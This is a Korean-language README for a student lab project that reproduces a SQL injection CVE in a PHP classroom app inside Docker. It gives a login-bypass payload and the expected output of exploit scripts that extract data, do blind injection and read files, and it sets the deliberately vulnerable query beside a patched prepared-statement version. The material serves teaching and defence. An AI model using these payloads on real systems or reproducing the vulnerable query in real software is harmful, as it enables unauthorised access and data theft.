
ENSIMAG 학술 프로젝트 - 3A 보안
저자: Wail Yacoubi, Mohammed-Yassine Akhmari
날짜: 2026년 1월
이 코드는 교육 목적으로 의도적으로 취약하게 작성되었습니다.
절대 프로덕션 환경에 배포하지 마십시오.
CVE-2025-26198 재현: CloudClassroom-PHP-Project v1.0의 치명적 SQL 인젝션.
CVE 특징:
공식 참조: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
SQL 인젝션 공격 기법 4가지를 시연합니다:
pip install requests# 저장소 복제
git clone <votre-repo>
cd CVE-2025-26198
# 인프라 실행
docker-compose up -d
# MySQL이 준비될 때까지 대기 (30초)
sleep 30
# 컨테이너 확인
docker-compose ps
애플리케이션은 http://localhost:8081에서 접근할 수 있습니다.
다음 양식을 작성합니다:
admin' OR '1'='1'-- -anythingLogin 클릭
결과: 유효한 비밀번호 없이 관리자 로그인 성공.
설명:
페이로드는 SQL 쿼리를 다음과 같이 변환합니다:
-- 일반 쿼리
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- 인젝션이 포함된 쿼리
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
OR '1'='1'는 항상 참이며, -- -는 나머지를 주석 처리합니다.
python exploit_simple.py http://localhost:8081
예상 출력:
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
python exploit.py http://localhost:8081
예상 출력:
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:[email protected]
- superadmin:[email protected]
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
prepared statements를 사용하는 보안 버전을 테스트합니다:
# 패치된 버전 활성화
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# 익스플로잇 재테스트
python exploit_simple.py http://localhost:8081
예상 결과:
[-] Error: Connection aborted
[-] Exploitation failed
입력 검증과 prepared statements로 인해 공격이 차단됩니다.
취약한 버전을 복원합니다:
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
취약한 코드:
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
안전한 코드:
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # 취약 버전
│ ├── loginlinkadmin_PATCHED.php # 보안 버전
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
docker-compose logs web
docker-compose down
docker-compose up -d --build
# MySQL 확인
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# 웹 서비스 확인
curl http://localhost:8081
# 활성 버전 확인
head -n 2 app/loginlinkadmin.php
docker-compose.yml을 수정합니다:
ports:
- "8082:80"
자세한 분석은 RAPPORT.md를 참조하세요. 포함 내용:
본 프로젝트는 ENSIMAG 사이버 보안 강좌의 일환으로 교육 목적으로만 개발되었습니다.
허용 용도:
금지 용도:
학술적 범위를 벗어난 모든 사용은 엄격히 금지되며 불법입니다.
저자
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - 2026년 졸업 예정
과목: 3A 보안
| 항목 | 취약 버전 | 패치 버전 |
|---|
| SQL 쿼리 | 직접 문자열 결합 | PDO prepared statement |
| 입력 검증 | 없음 | 영숫자 정규식 |
| 출력 이스케이프 | 없음 | htmlspecialchars() |
| SQL 인젝션 | 공격 가능 | 차단됨 |
| 로그 | 없음 | error_log() |